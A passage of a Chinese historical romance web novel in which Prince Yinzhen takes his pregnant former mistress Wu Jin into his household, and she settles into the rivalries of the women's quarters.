“孩子已经没有了,你要杀要剐,随便你。”
胤禛看着她,她沉静果敢,不愿屈服于人,他见过许许多多的女子,唯独她不想依附他人,如若不是她有家人,她不会屈从于他。
“你难不成一辈子都不要孩子?”
“不管我是不是一辈子都不要孩子,你都不应该偷偷给我换药,你要学会尊重我,而不是一味让我听从于你。”
“我不是这种性子的人。”胤禛闷闷地说了一句,然后又说:“不过我以后会先问过你的想法,此事是我不对,那避子汤喝多不好,我才让周太医换成滋补的药方。”
“你既晓得避子汤喝多不好,先前我也喝了两年,你先前怎么不说避子汤喝多不好。”
胤禛被噎,她向来伶牙俐齿,他说不过她,先前那是因为他对她没有情意,如今不同了,不过这话说出来她也不信,她只会觉得他什么都强迫她,他一口气憋在胸口,舍不得动她,只能自己生气。
“你日后不想生,那就不生,不过那避子汤是不能再喝,我以后会尽量弄在外面,不会让你怀孕,省得你怨我总是逼迫你。”
胤禛的确不缺一个孩子,也的确有别人给他生孩子,他想着他跟她之间本来就横亘着不少隔阂,在这件事上,他愿意让一步,省得她怨恨他更深。
“你所做之事,哪一件是我错怪你了。”
胤禛面对她的逼问,自觉无理,说道:“你没错怪我,是我错了,我以后会学着尊重你,孩子……”
他顿了顿,才继续说道:“孩子没了就没了,堕胎伤身,你这几日好好休养,我让周太医过来给你看诊,不要留下后遗症。”
乌锦也没想到他就这样息怒了,她有些意外。
“乌锦,你是我第一个喜欢的女人,我做得不好的地方,你念在我是初次,别跟我计较。”
乌锦被他这句话给惊到了,心想这人说真的还是假的,这半年来,他是待她很好,变了一个人似的,他说他对她有情意,她总觉得他又想折腾她,今日一听,他一双眼睛如同两汪深潭地盯着她,神情看起来很真挚诚恳,有几分可信度。
只是他后院有那么多女人,一个都不喜欢?不过他年纪跟她差不多,二十岁左右,若说她是他第一个真正喜欢上的人,好像也说得过去。
她心里已经默默信他三分,不过先前种种,她也忘不了。
“你别跟我说这些,你想说好听话哄骗我,我信你才是傻子。”
胤禛轻声道:“信不信由你,来日方长,你日后会感受到的。”
乌锦一时无法面对这样柔情的他,她扯出自己的手腕,“你换药的事,我还记着呢。”
“我换药是为你好,还是请周太医过来看看吧,你喝的堕胎药药方也给周太医看看。”
乌锦这次没拦他,让他去请人。
过了半个时辰,周太医才前来,乌锦伸出手给周太医把脉。
“如何?”
周太医不确定地又把一次,随后跪下来贺喜道:“恭喜四阿哥,乌姑娘已有一个多月的身子。”
胤禛皱眉:“她不是堕胎了吗?周太医,你说的可是真的?”
“微臣不敢说谎。”
胤禛回头看乌锦,见她一脸淡定,丝毫不意外的样子,他就知道自己又被乌锦骗一回,她压根没堕胎。
算算日子,她上一个月月信结束时是十一月二十三日,今天是一月八日,是有一个多月了,这个孩子意外有了,那就生下来,乌锦在心里下了决定。
四阿哥显然不是第一次面对女子怀孕,他问周太医她身子如何,是否需要喝安胎药,脉象是否稳健。
周太医说她脉象平稳,如果没有见血,只需按照日常饮食即可,无需特意喝安胎药,过犹不及,药多反而伤身。
四阿哥让周太医每隔三日过来给她把脉。
等周太医离开后,他看着她,乌锦不惧跟他对视,他突然弯腰抱住她。
“乌锦,这孩子来得正好,再过两个月,我就搬出宫了,你直接入住贝勒府。”
“我不想让这个孩子背负着外室之子的名声。”
“放心,不会的,你好好安胎,其它的交给我,乌锦,我很高兴,我知道你可能不想要这个孩子,这个孩子于你而言是个意外,既然有了,那就好好生下来,我不会亏待你,也不会亏待这个孩子,该有的名分都会有。”
乌锦知道自己只能信他,她跟他走到今天这一步,很多事情已经由不得她。
“名正言顺,我不希望这个孩子一生出来就低人一等。”
“放心吧。”
天黑后,胤禛才回宫,他觉得乌锦说得对,这孩子一定要名正言顺,纳妾也无需八抬大轿,他只需去宗人府那边走一趟,把乌锦的名字添进他后院女子的名单里,等乌锦入住贝勒府,她就已经是格
格了。
……
宫中没有不透风的墙,乌喇那拉氏听说四阿哥这几日频频去宗人府那边,很快就传出四阿哥后院进新人了。
她让人去宗人府那边打听,才知道四阿哥将乌氏跟章佳氏一同纳进后院,这是还没迁宫,人就先入后院成真正的主子了,乌氏为格格,章佳氏为侍妾。
这纳妾又不比娶妻或是封侧福晋,没那么多繁复的流程,也无需皇上同意,阿哥后院的格格侍妾多的是,就是宗人府那边留个名字以及添加女方族谱的事。
四阿哥就养了两个外室,这两个外室如今都成了主子,她以为四阿哥只会让乌氏进后院,没想到章佳氏也一同进后院。
“福晋,我听说四阿哥这阵子开始往包衣奴才那边挑人,挑了不少,就等迁宫了。”崔嬷嬷说道。
四阿哥挑包衣奴才并没有错,毕竟这贝勒府需要伺候的奴才,但她觉得四阿哥有可能也正在为外头那两个新主子挑伺候的奴才,她想安插人过去恐怕都不成行。
“她们命好。”乌喇那拉氏说了一句。
“可不是嘛,一下子从外室成主子,四阿哥已经为她们铺好路了。”
“这事只有我们知道吗?”
崔嬷嬷摇头说宫里估计都传遍了。
“皇上今儿还找四阿哥前去乾清宫呢。”
乌喇那拉氏嗯了一声,她身为福晋,左右不了四阿哥,反正后院添新人其实不算大事,她先不管这事,让崔嬷嬷把库房里的册子拿给她。
库房有些东西是内务府那边的,不能带出宫,得还回去给内务府。
另一边,胤禛跪在内殿,看着坐在长椅上的皇阿玛说道:“皇阿玛,儿臣不过是往后院添两个人而已,乌氏出身镶蓝旗,其祖父曾随太宗作战,其阿玛为八品典仪,章佳氏也为正蓝旗佐领之女,她们身世清白,儿臣让她们进后院有何不可,儿臣觉得儿臣膝下子嗣稀少,想多添两个人为儿臣绵延子嗣,儿臣有什么错。”
“你既然想让她们进后院,又何必让她们当外室,平白污了你的名声,如今又让她们成了主子,你说说你到底在想什么。”
“皇阿玛,儿臣原本是想让她们只当外室的,如今儿臣要迁宫了,就顺便让她们进后院了,儿臣没想什么,儿臣不是沉湎女色之人,儿臣只有弘晖跟大格格两个孩子,让她们进后院是希望她们能够替儿臣诞下子嗣。”
“你看这阵子有多少人弹劾你,你还不知错?”
“儿臣本就无错,皇阿玛,大哥后院有二十几个人,儿臣后院只有七人,添两个也不过是九人,比有些大臣后院的女子都少,他们有什么资格弹劾儿臣,皇阿玛,你觉得儿臣错了吗?儿臣想要多子多福也错了吗?儿臣只有弘晖一个阿哥,儿臣想要多几个阿哥也有错吗?”
“你总是振振有词。”
胤禛觉得是那些大臣抓着他不放,一点小事就闹到皇阿玛这,他触及到他们的利益,他们动不动就弹劾他。
“出去吧。”
胤禛这才笑道:“谢皇阿玛。”
康熙眼不见心不烦,其实也觉得不是什么大事,胤禛后院女子少,子嗣也少,多添两个人也没什么错,就是他先让人当外室,后把人纳进后院,招来一些非议,他也搞不清楚这个儿子在想什么,随他去吧,两个女子也掀不起什么风浪,总归是胤禛后院的事。
胤禛刚回到阿哥所这边就碰到胤褆。
“老四,我真想好好看看你那两个外室长什么样,听说把你迷得七荤八素,我们都说你是为色所迷,为了两个女人搞出这么大的动静。”
“不是我搞出的动静大,是多管闲事的人太多,比起大哥,我后院那点人算得了什么。”
胤褆不生气,呵呵笑道:“你也别总跟我比,男子好色又不是什么大事,在这事上,大哥是支持你的。”
“谢谢大哥。”
胤褆又说道:“你乔迁之喜,需不需要大哥送你什么?”
胤禛也不跟胤褆客气,到时候他也是要送大哥东西的,“大哥,我那里还缺一些书画,大哥送我一些名家书画吧。”
“行,这个大哥可以送你。”
“那弟弟就先谢过大哥了,到时候等弟弟安置下来,会请大哥喝入厝酒的。”
胤褆过来搭着胤禛的肩膀:“那我等着你的入厝酒,你把你那两个外室带来给我看看,我看是什么天仙让我弟弟动了凡心。”
“没动心,不过觉得她们可怜,施舍她们罢了,大哥难不成对你那些侍妾都动了凡心?”
“我对她们每一个都动心。”
“还是大哥心善。”
“算了,不跟你说了,我要出宫喝酒去。”
胤禛不拦他,大哥喜欢喝酒也不是一天两天的事,他看着他们离开后才进去,原本他要三月迁宫,现在又改成二月底,他让钦天监的人提前算了一个好日子,定在二月二十六日迁宫。
他要先挑几个机灵一点的奴才给乌锦,乌锦如今有身子了,那些奴才就更要谨慎挑选,想着明日出宫亲自看看。
……
乌锦这边老实养胎,其实除了偶尔孕吐,她没有其它不适,谢嬷嬷她们老想给她炖补品,她怕胎儿太大不好生,在吃食上有刻意注意,没有放开肚子去吃。
周太医每隔三日过来一趟给她把脉。
四阿哥这阵子似乎在忙,没有过来,一直到二月九日,乌锦才见着人,他跟她说他们准备二月底迁宫,她三月一日便可入住贝勒府,他还给她挑了几个伺候的奴才。
“有没有不舒服?”
乌锦见他这么温柔地问她,她还是有些别扭。
“挺好的,吃好睡好,没有不舒服。”她敷衍应道。
他又隔着衣服摸了摸她肚子,那样子好像是初为人父,她一想到这人已经有孩子了,顿时又从他的温柔中脱离出来。
“谢嬷嬷她们伺候你伺候久了,你也习惯她们的伺候,到时候她们可以随你入府。”
乌锦想到谢嬷嬷她们是不愿意再进贝勒府,年纪大了想着归家,只是四阿哥这人哪管奴才怎么想,他决定的事只管命令下去,她出声道:“算了,她们不用跟着我进府,她们年纪大了,我想要几个年纪小一点的伺候,到时候可以跟得久一点,不然再过几年,又得重新挑人伺候,等我进府后,你把挑好的人带来给我看看,我亲自挑几个。”
“也好,听你的。”
乌锦见他一直盯着她,眼含柔情,仿佛要等着她夸奖,她只好主动亲了亲他。
加上过年,他们隔了一个月才有亲密的接触,尽管只是一个亲亲,乌锦觉得自己孕期荷尔蒙上升,反而想要更多,只是这人亲了一会就不亲了,她不上不下的有些难受。
“好啦,你怀着孩子,我们不能做那事。”
乌锦额头冒出三条黑线,说得她好像很饥渴似的,不做那事也可以亲亲,她又勾住他脖子硬拉着他亲吻。
胤禛本来就隔了许久才碰她,她又这么主动,他到后面有点按捺不住,不知不觉中就开始压着她了。
“主子爷说的,不做那事,我才两个月,不适合做这些,你请忍一忍吧。”
胤禛见到身下窃笑的人,明知道不可以做这事,她还使劲勾他,分明是故意的,他拍了拍她屁股,“你看我到时候怎么收拾你。”
“那你可能得等一年后了。”
“周太医说了,三个月后便可以同房,轻点就是。”
“你还问周太医这些,你要不要脸。”
胤禛觉得这没什么,况且不用问周太医,他都知道这事,他看她睁着一双清亮的眼睛看他,他又不由地低下头亲她。
乌锦自己到后面反而耐不住,开口求他。
“不行,孩子要紧,别闹,一切以孩子为重。”
胤禛是很想要这个孩子平安降生,这是他跟乌锦第一个孩子,有了
这个孩子,乌锦就不可能再离开他,她会更安心待在他身边。
“孩子重要还是我重要?”
胤禛要怎么跟她说,孩子若不是她生的,他也不会这么看重,她自己都说了有很多女人可以为他生孩子。
“你重要,但是我们不能做那事,放心吧,只需要再过一个月就可以了,你忍忍。”
乌锦见自己说的话被还回来,她翻了一个白眼,“那你别压着我,起来,我饿了。”
胤禛还是放开她,没跟她继续闹下去,免得不可收拾。
膳食摆上来,两人坐在一块用膳。
乌锦吃个八分饱就不吃了,他问她两个弟弟书读得怎么样,她有些惊讶地看着他,他难得问起乌安他们,乌安如今也有十岁了,再过几年就要领旗缺了,不知有四阿哥的帮忙,他的起点会不会比她阿玛高一点。
她如实道:“乌安是我大弟,他书读得很好,要是能考举,说不定他能高中,他性子也很稳重,我二弟因为年纪还小,还没定性,还在爱玩的年纪。”
“放心吧,他们要是有能力,我会提拔他们的,让他们的仕途顺一些,乌家主要还是靠你两个弟弟,你阿玛为人太老实,不适合继续升官。”
乌锦挑眉,更加诧异地看着他,他这是都想好了嘛,虽说他逼迫她,但至少乌家这还是从他这里得到不少好处,跟他计较什么呢,一家人日子过得好不是最重要的嘛,她心放得更平,感激道:“谢谢主子爷为我们乌家着想,我阿玛是不适合再升官,就让他当个小官就好,还有我小舅恐怕也不适合升官,他好高骛远,说话又容易得罪人,我怕他给主子爷带来不必要的麻烦,如今这个参领就很好了,不过我姑母那边,主子爷可以提拔提拔。”
“我知道了,我有分寸。”
既然她都成他的人,入了他后院,他又正是想培植自己势力的时候,自然会提拔自己人,包括乌家人。
“爷,你多吃。”
“你吃得太少了,你如今是一个人两个人补,得多吃。”
乌锦说她已经吃饱了,不想再吃,相反她开始有点反胃了,闻不得食物的味道,她起身离开膳桌,让他自己一个人吃。
胤禛吃好后过来跟她说接下来几日他可能不会过来,忙迁宫的事。
“爷,你放心吧,我会自己照顾好自己的,更何况我还有谢嬷嬷她们,我额娘她们偶尔也会过来看我,你尽管忙去。”
胤禛觉得再过半个月,他就不用来回跑了,于是也没有叮嘱太多,很快离开,去找雅尔江阿说事。
……
多兰这边已经生下女儿没多久,额驸就纳了一房小妾,虽说男子纳妾是很正常的事,只是换成是天天对着她说甜言蜜语的丈夫,她就有点受不了,不过她没有闹,因为伯柱依旧对她很好,她觉得纳妾就纳妾,她是伯柱的妻子,一个小妾算得了什么。
只是过了大半年后,这小妾最近勾着自家丈夫,伯柱这几日很少过来她房中,多兰就有点生气了,觉得自己的日子过得憋屈,觉得伯柱不爱她了,于是开始闹,命令伯柱不准过去陶氏那。
刚开始,伯柱听她的话没有过去陶氏那,只是过了几天后,她发现伯柱偷偷过去陶氏那,她气得砸掉屋子里的东西。
伯柱说她不懂事,哪有妻子不允许丈夫去小妾那里的,说她没有容人之量,然后又隔好几天没过来她这里。
多兰气得要死,这个时候她又听说一件事,乌锦她要从外室升为主子,进四阿哥的后院成为四阿哥的妾室。
她心想乌锦是走了什么狗屎运,竟然能从外室成为真正的主子,她本该成为四阿哥的女人,是乌锦占去她的位置。
人过得不好的时候就忍不住想自己没走过的路,开始变得有些极端,多兰原本已经不恨乌锦,此时听到这个消息又忍不住恨上。
孩子突然哭起来,她更加心烦,大吼道:“奶娘,奶娘,你们是怎么看孩子的,孩子哭了,你们没听到吗?你们耳朵聋了吗?快把孩子给我哄好。”
两个奶娘已经在哄孩子了,只是孩子还不到一岁,哭是很正常的事,她们又不能捂住孩子的嘴。
奶娘们都知道多兰郡君这阵子心情不好,跟额驸闹矛盾,几乎每一天都在发脾气,把气撒在她们身上,她们这些人都战战兢兢的。
多兰见孩子还在哭,怒瞪着奶娘:“你们是没听到我的话吗?”
伯柱从房间外走进来,一进来就见到多兰在发脾气大吼,他下意识皱眉,不过很快收回厌烦的表情,他过去当着奶娘的面先亲多兰的脸颊,又移到唇边,亲了好一会才松开。
“你不是不来我这吗?你不是被陶氏那个贱人勾住了吗?还过来我房中干什么?”
伯柱哄道:“我最喜欢的人是你,谁都越不过你,陶氏只是小妾,远远比不上你,还生我的气?我给你跪下认错行不行?”
“那你跪。”
“有外人在呢。”伯柱在多兰耳边小声道。
多兰立即让房中的其他人出去。
等人都出去后,伯柱没有跪下,反而继续亲多兰,一只手也慢慢解开她衣裳
“你干什么,我还在生气。”
多兰的推拒反而有点欲拒还迎,神情扭捏,但已经不见怒气。
“我最喜欢的人是你,你不理我,简直是要我的命,给我行不行,这几天我想你想得发疯。”
“你想我为何不过来找我。”多兰瞪他。
“我这不是过来找你嘛,你给我生了一个格格,我不知道有多感激,你是我明媒正娶的妻子,我纳再多小妾,她们都比不过你。”
“你还想纳妾?”
伯柱赶忙否认道:“我有你一个就够了,你不知道我有多喜欢你,从看到你的第一眼,我就无法自拔地喜欢上你,我们去床上好不好,我很想你。”
多兰这个人没什么心眼,自家丈夫这么一哄,她气已经消大半了,伯柱把她拉到床上后,她更是直接气消,跟伯柱缠绵厮混起来。
奶娘她们抱着孩子到隔壁次间,听到这边房间内的动静后,都有点庆幸,不然还不知道格格要气到什么时候。
事后,伯柱把人哄好后,起身穿衣,跟多兰说他晚上再过来。
“你晚上别被陶氏又勾去。”
“怎么会,你还不相信我嘛,你好好照顾孩子,我晚上再过来,对了,四阿哥不是要迁宫吗?我们得给四阿哥送些礼过去,你记得让人买些贵重的礼,到时候要送给四阿哥当入厝礼。”
多兰一想到又要送礼,送礼意味着花银子,哪来那么多银子,她自从嫁人后,手头并不宽裕,她忍不住抱怨道:“四阿哥不会缺我们这份礼的,更何况我银子不多。”
“你从你嫁妆那边挑几件好东西就行。”
多兰觉得不对,送礼怎么能从她嫁妆挑,嫁妆是她从娘家带过来的,是给她傍身的。
伯柱又低下头亲她,多兰被亲着亲着就不知不觉答应了。
第70章第70章更新
第70章
三月二日,乌锦已经听说四阿哥在前几日已经迁宫,入住贝勒府,贝勒府那边前几日人进进出出,据说内务府的奴才送了不少东西过去。
谢嬷嬷跟瓜嬷嬷也替她收拾好东西,她在这座宅子住的日子不算太久,但东西也攒下不少,满满当当地也装了三个箱笼。
四阿哥说还需等几日,等他们彻底安置下来,乌锦回家一趟,傍晚跟家里人坐在一块用膳,往后想一家人坐在一块吃饭恐怕就难了
吃过饭后,乌锦难得跟乌安单独说话。
“姐,你放心,我是男子汉了,我会照顾好家里的。”
乌锦欣慰地笑了笑:“是,以后这个家要交给你了,遇事要冷静,三思而后行,我们家人少,你更要担当起来。”
乌安重重地点头。
乌锦摸了摸乌安的头,笑道:“好啦,去睡觉吧,明日还要上学呢。”
乌锦刚跟乌安说完后,她额娘进来,坐在床边,小心翼翼将一块红布摊开,里头放着一些首饰。
“这是额娘出嫁时你外祖母给额娘的嫁妆,额娘这些年一直盼着你出嫁,今儿也算是如愿了,额娘只有你一个女儿,这些就传给你了,以后你可以传给你的孩子。”
乌锦看那些首饰,基本上是银制,有耳坠、手镯、簪子跟银钗,因为年代久远,这些东西颜色
看上去没那么鲜亮,但被保存得很好。
“那我进贝勒府那一天就戴着它们进府。”
“嗯,戴着进府。”
乌锦又用布包好,她额娘又问她最近有没有孕吐,她说吐得少了。
“熬过这阵就好了,再过一两个月应该就不会再吐了,进贝勒府后万事要当心,敬着四阿哥,敬着福晋,凡事多忍让,忍一忍什么事都会过去。”
乌锦没有反驳额娘的话,笑着点头答应,她注视着额娘,不知不觉,额娘鬓边多了不少白发。
她眼眶泛红,说道:“女儿不孝,不能承欢膝下,希望乌安乌明两人能够孝敬额娘,额娘也不用担心我,我进贝勒府衣食无忧,额娘尽管放心。”
“额娘只盼着你过得好。”
乌锦不觉哽咽,说她知道,说四阿哥待她很好,让额娘放心。
母女两都默默开始掉泪,哭着抱好一会儿才各自歇息。
又过三日,乌锦的箱笼一大早就被赵师傅分两趟送去贝勒府,她也一大早起来,戴上她额娘送给她的首饰后跟谢嬷嬷她们告别,坐上马车过去贝勒府。
赵师傅驶得很慢,一路平稳地到贝勒府,四阿哥并没有到门口接她,而是苏培盛在门口迎她。
“乌姑娘,奴才带你进去。”
乌锦跟苏培盛点点头,随后跟在苏公公后面,因刚搬过来,这贝勒府入目尽是红色,洋溢着乔迁之喜。
乌锦因先前跟四阿哥来过一次,还是有点记忆,认得路,很快来到她的院子前,这院子已经取了一个名字——-桃园。
“乌姑娘,主子爷为乌姑娘挑了伺候的奴才,一共八个,乌姑娘可再细挑四个机灵的放在乌姑娘身边伺候。”
“我可以有四个人伺候?”
“是,主子爷说了乌姑娘怀有身子,等小阿哥出生,肯定需要人手,不如就先往乌姑娘身边多放两个人伺候。”
乌锦心想她这一胎应该不会是个阿哥,先前来桃园时,院子里还是空的,如今已经种有两棵树,应该就是四阿哥所说的桃树,移栽过来的桃树不大,估摸着还要长三四年才会结果,院子里也站着苏公公所说的八个人。
乌锦扫一眼,先进屋看看,屋内内饰也已经齐全,正中间悬着一扇紫檀木嵌金月桂图挂屏,外间有紫檀木柜子、镜台、屏风、梅花式圆凳、炕几与茶具,几乎该有的东西都有了。
乌锦到铺炕上坐下,她看一眼苏公公,让他帮忙把人叫进来。
八个人一一进来给她跪下行礼请安,年纪都不大,十来岁,最大的不超过二十岁。
乌锦让他们都抬起头给她看看,那些人抬起头见到她时,眼里都有着明显的惊讶,大概是突然看到她这张脸的缘故。
乌锦也打量他们,开口说让他们先报上姓名,家在何处,家中有何人,在哪当差。
等他们轮着说完后,乌锦就从中挑了四个人,三女一男,分明是君梅,听春、翠香跟小才子,剩下四个人就交给苏公公退回去。
苏培盛看了小才子一眼,默默松口气,见事情办得差不多了,他跟乌姑娘说声告退,他回去跟主子爷禀报,把剩下的人都带走。
被她挑中的四个人你看看我,我看看你,不知道要做什么,他们年纪小,除了小才子是从宫里出来的,剩下三人都是从家中被挑过来贝勒府下三旗的包衣奴才。
乌锦沉声道:“你们已经是我的人,日后好好当差,我不苛待奴才,但你们若是不忠主,我便将你们发卖出府,你们说是四阿哥是你们的主子还是我是你们的主子?”
小才子眼珠子一骨碌,先回道:“是主子您,我们是主子您的奴才。”
君梅她们才跟着说她才是她们的主子。
“你们以后要记住今日的话,我才是你们的主子。”
乌锦可不想自己身边多四个四阿哥的耳目,她身边所有事事无巨细告诉四阿哥,谢嬷嬷她们瞒着她换药的事发生一次就够了,她要的是忠于她自己的奴才,而不是忠于四阿哥的奴才。
“你们对这贝勒府熟悉吗?知不知道福晋的院子在何处?”
小才子举手:“奴才知道,奴才前几日去过福晋的院子。”
乌锦觉得她自己第一天住进来该去给福晋请安,不管怎么样,面上功夫要做一做,她便把小才子跟君梅带上,听春与翠香两人留下来收拾东西。
小才子领路,三人过去福晋所在的院子,福晋这院叫云水堂,刚到院子时,乌锦跟院子其中一个奴才说道:“我是乌氏,还请跟福晋通传一声,乌氏求见。”
福晋身边的奴才自然都晓得今日有人进府,于是很快就进屋通报。
乌锦在外面只等了一小会就被请进去,小才子替她挑起帘子,她进屋见到端坐在铺炕上的乌喇那拉氏,先前有过一面之缘,她记得乌喇那拉氏的样子。
她半蹲福身行礼:“妾身乌氏给福晋请安,福晋万福。”
乌喇那拉氏早已见过乌氏,不过也只有一次而已,当乌氏这么近距离地给她行礼,她穿着一件雪灰色缎绣水仙花纹旗装,外罩一件月牙白比肩褂子,头上的银簪子很是素简,规规矩矩,跟一年前见到的并无不同。
“起来吧,来人,给乌格格赐坐。”
乌锦顺着坐在福晋下方的圆凳上,有人给她上茶,她端着喝一口就放下。
乌喇那拉氏初次见面也没想刁难乌氏,乌氏样子也显得规矩恭谨,她就更不会说出什么难听话,浅笑道:“乌妹妹跟章佳妹妹都是第一天进府,四阿哥身边添两个新人是好事,我只盼着乌妹妹你们能够为主子爷绵延子嗣。”
乌锦觉得她怀孕一事,四阿哥应该还没告诉福晋,她如今也还没显肚,外人还看不出来她怀孕了,福晋才会这么说,不过她才知道原来四阿哥也让章佳氏进府了,还是跟她同一天。
她应道:“妾身谨记福晋所言。”
“既然你也进府了,我们以后就是姐妹,乌妹妹不要跟我生分,日后多多往来,过几日,我给你介绍后院其它主子,除了你跟章佳妹妹,还有六个姐妹,也让她们见见你,彼此熟识一下。”
乌锦点头道:“妾身都听福晋的。”
乌喇那拉氏觉得说得差不多了,便说道:“你第一天进府,肯定有好多东西要收拾,你先安顿下来,其它的日后再说,还有今日膳食,我会让人送过去给你,这帮奴才还需要调教,可能会送得晚一些,我们其实也是比你们早几日住进来,一切都还在慢慢适应,并非是有意怠慢乌妹妹,还请乌妹妹别生气。”
“妾身明白,都听福晋的,那妾身先退下了。”
乌喇那拉氏摆摆手,示意他们可以离开了,等人一走,她不由地皱眉,乌氏跟章佳氏同一天进府,章佳氏比乌氏还早一个时辰,但章佳氏没想着给她请安,但乌氏刚到就过来请安了,说明乌氏为人做事更圆滑成熟,越是这样的人越不好对付。
“嬷嬷,你觉得乌氏如何?”
崔嬷嬷说道:“奴婢今日第一次见乌格格,奴婢觉得乌格格看起来很安分。”
乌喇那拉氏叹口气:“希望她是真的安分吧,主子爷让苏培盛亲自去迎的人,听说亲自给她挑人,盛宠之下难免恃宠而骄。”
“可是主子爷也让苏公公去迎章佳小主了。”
乌喇那拉氏轻哼一声:“主子爷是生怕我们看出他对乌氏的偏心,
才故意不厚此薄彼的,且看吧,既然人都进府,明日给大家介绍介绍吧,你让人去通知李氏她们,明日大家过来我这边坐一坐,互相认识一下。”
“是,奴婢晓得了。”
……
乌锦这边刚回到桃园,福晋那边就来人,通知她明日巳时正过去云水堂,应该是打算让后院的女人齐聚,彼此认识认识。
她看向小才子,福晋说会让人给她送膳,估计也知道小才子他们对贝勒府还没那么熟门熟路。
小才子虽是太监,也是她身边唯一的奴才,她打算让他负责对外,其他三人再慢慢安排,现在要做的事情就是把箱笼的东西整理出来。
她指挥君梅她们收拾,这一收拾就到午时了,有人送膳过来,乌锦也饿了,就先用膳,她问君梅她们住在何处。
她们说她们刚进府,大家都还没有被分配到哪个主子那当差,都是住在一间有大通铺的房间,大家挤在一块睡。
乌锦便让她们去把她们的东西拿过来,各自在东厢房这边挑一间房住下,小才子也挑一间房,反正目前房间是够的,谁让她有一个独院。
乌锦吃饱后就有些犯困了,又回床上午睡。
今日一天就这么过去,翌日一早,小才子去提膳,他机灵,已经记下去膳房的路。
乌锦觉得膳食简单了一些,没几块肉,不如在她在宅子那边吃得好,膳房那边的人厨艺也不如谢嬷嬷她们好,只是她一早醒来饿得厉害,还是吃个半饱。
用过早膳后,她让君梅给她梳妆打扮,穿上旗装过去云水堂,她第一次见四阿哥后院的女人,日后想在这后院过得舒服,还是得跟她们打好关系。
四阿哥身为阿哥,恐怕在外面的时间多,她更多是面对后宅这些女人,她提前一刻钟到云水堂,很快被领着进去正堂坐着。
“你就是乌格格吧?”她刚坐下,有人就过来跟她说话,她忙起身行礼,露出笑容道:“是,我是乌锦,不知姐姐怎么称呼?”
“我是宋格格,真是闻名不如见面啊。”
乌锦还挺知道自己为何闻名的,她淡淡地笑了笑。
“你脸上的疤怎么来的?”
“烧伤,小时候不小心弄到的。”
宋格格了然地点点头,直接上手摸了摸她的疤,惋惜道:“可惜了,妹妹脸上若是没有这块疤,应该长得很好看。”
“还是姐姐更好看,姐姐这身料子是蜀锦吧。”
“妹妹好眼光,几年前内务府分的蜀锦。”
乌锦也上手摸了摸,说料子顺滑,宋格格穿起来更是显得贵气。
宋格格捂着嘴笑两声:“乌妹妹这张嘴啊,真是巧得很,我们坐下说话吧。”
她们说话之际,又有人进来,几人又相互认识一番,称赞衣着跟首饰。
福晋过来的时候,人已经来齐了,福晋正式替她们互相介绍,乌锦才知道四阿哥后院里加上她跟章佳氏,一共有九个人,福晋、宋氏、李氏、耿氏、张氏、武氏与郭氏。
除开嫡福晋,她们八个人都算庶福晋,不过这庶福晋又分格格跟侍妾,格格比侍妾要尊贵一点,宋氏、李氏、耿氏还有她属于格格,剩下的属于侍妾。
而四阿哥目前只有两个孩子,一个大阿哥弘晖还有一个大格格曦玉,弘晖为福晋所生,已经两岁了,大格格曦玉为李氏所生,今年五岁。
奇怪的是她先前听说章佳氏怀孕了,为何今日见到的章佳氏依旧腹部平平,没有怀孕的迹象,亦不见孩子,是传言为假还是章佳氏没能生下孩子。
落在她身上的目光不少,这些人都知道她跟章佳氏当过外室,初次见面,她们不好说难听话,但有些人目光中带有一点鄙夷。
福晋问她那缺不缺人,她说不缺了。
宋格格说她身边有四个奴才,其他人顿时很意外,乌锦心想四个奴才多吗?
郭氏忍不住说道:“怎么都是从外室变成主子,章佳妹妹身边只有一个奴才。”
乌锦心里有些意外,敢情她这边四个奴才是多了,不过可能是四阿哥觉得她怀孕的缘故才多分几个人到她身边伺候。
被点名的章佳氏神情有些尴尬,不知如何作答。
宋氏出来解围:“乌妹妹是格格,格格本来就比侍妾多一个奴才伺候。”
“那也不该多出两个,这格格不是只能有两个奴才伺候嘛,宋姐姐,你身边不是只有两个奴才嘛,这两个奴才还是宋姐姐你的陪嫁。”郭氏继续说道。
乌锦顿时成为众矢之的,众人目光有意无意落在她身上,格格可以有两个奴才伺候,侍妾只有一个,这后院也是等级分明的,只是她一下子有四个,她们难免心里不平衡,当然,她也不会傻到把人让出来,这奴才少了,往后再想要可能就难了。
乌锦装傻道:“我刚进府,不知府上的规矩,苏公公说我可以挑四个。”
谁不知道苏培盛是四阿哥的贴身大太监,苏公公的意思就代表着四阿哥的意思,她们这些人哪敢质疑四阿哥。
福晋见气氛凝滞,出声道:“好啦,我们刚从宫里出来,这府里的奴才暂时不多,大家就将就着点,等日后人多了,再分几个到你们身边伺候,乌妹妹有四个奴才伺候,那也是主子爷的意思,主子爷疼惜乌妹妹而已,为这种小事争来争去不值当,今日就先到这吧,都散了。”
乌锦知道自己身边有四个人伺候,一下子就成为后院的眼中钉了,人,她不可能还回去,就暂且先这样。
之后几天,她在桃园里该吃吃该喝喝,宋格格过来她这跟她串串门,而四阿哥还不曾来过一次,而且这几天,听说四阿哥都召章佳氏侍寝。
乌锦这几天吃的肉不多,她又喜欢吃肉,便让小才子跟膳房的人说看能不能给她上几道肉菜。
过一会儿,小才子回来时脸色有些为难。
“怎么了?”
小才子犹豫说道:“格格,那膳房的人说每位主子的肉菜都是按照份例做的,要是份例超了,只能等下个月了。”
乌锦不信这肉真的完全按照份例,难不成四阿哥或是福晋想吃肉,他们也会说没有了,已经超出份例了。
她叹口气,以前在宅子那边,可以说是她来当家,如今进了四阿哥后院,这后院是福晋管着,膳房那边的人估计也是照福晋的吩咐行事。
肉都吃不了,怎么进来后日子比在外面过得还不好了,只是因为她有四个奴才伺候一事,大家都觉得四阿哥偏心她,她要是又让四阿哥吩咐膳房的人每日给她上肉菜,传出去别人更会觉得四阿哥偏心她。
正所谓木秀于林,风必摧之,太过出风头,她免不了会被针对,算了,暂且忍一忍。
事实上不仅仅是肉,像新鲜水果、零嘴等吃食,她也不能像在宅子那边想吃多少就吃多少,这后院的主子都有份例二字。
比如她一个格格每个月可以吃十斤猪肉、羊肉十盘,鸡鸭三只,多要的话可能要给膳房的人额外的银子。
新鲜水果分给前院,分到福晋那,再往下分给她们这些主子,反正到最后就没有几个。
当然四阿哥前院那边是没有这项规定,膳房的人什么都紧着前院,乌锦其实对吃食还是比较挑的,怀孕之后就更挑了。
就这样过了半个月,她有点受不了,她的桃园离前院只有一扇侧门的距离,这半个月,她安安分分待在后院里,他不来找她,她也没有主动过去找他,从她搬进贝勒府,两人就没有见过对方。
她把小才子叫过来,让他打听打听四阿哥今日在不在府里,小才子打听回来说主子爷刚从外面回来。
乌锦便让君梅找一件颜色鲜亮一点的旗装出来给她换上。
